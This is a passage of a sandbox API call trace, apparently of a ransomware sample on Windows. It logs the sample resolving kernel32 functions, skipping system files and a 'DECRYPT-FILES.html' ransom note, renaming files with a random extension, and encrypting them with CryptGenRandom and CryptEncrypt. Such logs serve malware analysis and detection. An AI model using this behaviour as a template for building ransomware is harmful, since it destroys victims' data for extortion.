(in: lpString1=0x321cec8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0075.397] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0075.397] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0075.397] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0075.397] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0075.397] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0075.397] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0075.397] lstrlenA (lpString="CREATEPIPE") returned 10 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0075.397] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0075.397] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0075.397] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0075.397] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0075.397] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0075.398] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0075.398] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0075.398] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0075.398] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0075.398] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0075.398] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0075.398] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0075.398] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0075.398] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0075.398] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0075.398] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0075.398] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0075.398] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0075.398] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0075.398] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0075.398] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0075.399] lstrlenA (lpString="CREATETHREAD") returned 12 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0075.399] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0075.399] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0075.399] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0075.399] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0075.399] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0075.399] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0075.399] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0075.399] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0075.399] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0075.399] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0075.399] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0075.399] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0075.399] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0075.399] lstrlenA (lpString="CTRLROUTINE") returned 11 [0075.399] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0075.400] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0075.400] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0075.400] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0075.400] lstrlenA (lpString="DEBUGBREAK") returned 10 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0075.400] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0075.400] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0075.400] lstrlenA (lpString="DECODEPOINTER") returned 13 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0075.400] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0075.400] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0075.400] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0075.400] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0075.400] lstrlenA (lpString="DELETEATOM") returned 10 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0075.400] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0075.400] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0075.400] lstrlenA (lpString="DELETEFIBER") returned 11 [0075.400] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0075.401] lstrlenA (lpString="DELETEFILEA") returned 11 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0075.401] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0075.401] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0075.401] lstrlenA (lpString="DELETEFILEW") returned 11 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0075.401] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0075.401] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0075.401] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0075.401] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0075.401] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0075.401] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0075.401] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0075.401] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0075.401] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0075.401] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0075.401] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0075.401] lstrcpyA (in: lpString1=0x321cec8, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0075.402] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0075.402] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0075.402] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0075.402] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0075.402] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0075.402] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0075.402] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0075.402] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0075.402] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0075.402] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0075.402] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0075.402] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0075.402] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0075.402] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0075.402] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0075.402] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0075.403] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0075.403] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0075.403] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0075.403] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0075.403] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0075.404] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0075.404] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0075.404] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0075.404] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0075.405] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0075.405] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0075.405] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0075.405] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0075.405] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0075.405] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0075.405] lstrcpyW (in: lpString1=0x2fa0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0075.406] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0075.406] wsprintfW (in: param_1=0x321db80, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.wHLcdW") returned 88 [0075.406] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.wHLcdW" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.whlcdw"), dwFlags=0x0) returned 1 [0075.408] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.408] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.408] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.409] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="DECRYPT-FILES.html") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="autorun.inf") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="boot.ini") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="desktop.ini") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="ntuser.dat") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="iconcache.db") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="bootsect.bak") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="ntuser.dat.log") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="thumbs.db") returned -1 [0075.409] lstrcmpiW (lpString1="AdobeSysFnt10.lst", lpString2="Bootfont.bin") returned -1 [0075.409] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.409] lstrlenW (lpString="AdobeSysFnt10.lst") returned 17 [0075.409] lstrcpyW (in: lpString1=0x321e380, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0075.409] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="AdobeSysFnt10.lst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" [0075.409] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0075.413] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x321db48 | out: lpFileSize=0x321db48*=138459) returned 1 [0075.414] CreateFileMappingW (hFile=0x434, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x438 [0075.414] MapViewOfFile (hFileMappingObject=0x438, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3220000 [0075.504] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0075.504] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0075.504] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.504] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f80000*, pdwDataLen=0x321dab0*=0x28, dwBufLen=0x100 | out: pbData=0x2f80000*, pdwDataLen=0x321dab0*=0x100) returned 1 [0075.504] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.510] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.510] UnmapViewOfFile (lpBaseAddress=0x3220000) returned 1 [0075.512] CloseHandle (hObject=0x438) returned 1 [0075.512] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.512] WriteFile (in: hFile=0x434, lpBuffer=0x2f80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321dad0, lpOverlapped=0x0 | out: lpBuffer=0x2f80000*, lpNumberOfBytesWritten=0x321dad0*=0x108, lpOverlapped=0x0) returned 1 [0075.513] CloseHandle (hObject=0x0) returned 0 [0075.513] CloseHandle (hObject=0x434) returned 1 [0075.515] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.515] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.516] GetTickCount () returned 0x20ede [0075.516] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.516] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0075.516] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.516] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.517] lstrcpyW (in: lpString1=0x2fa0000, 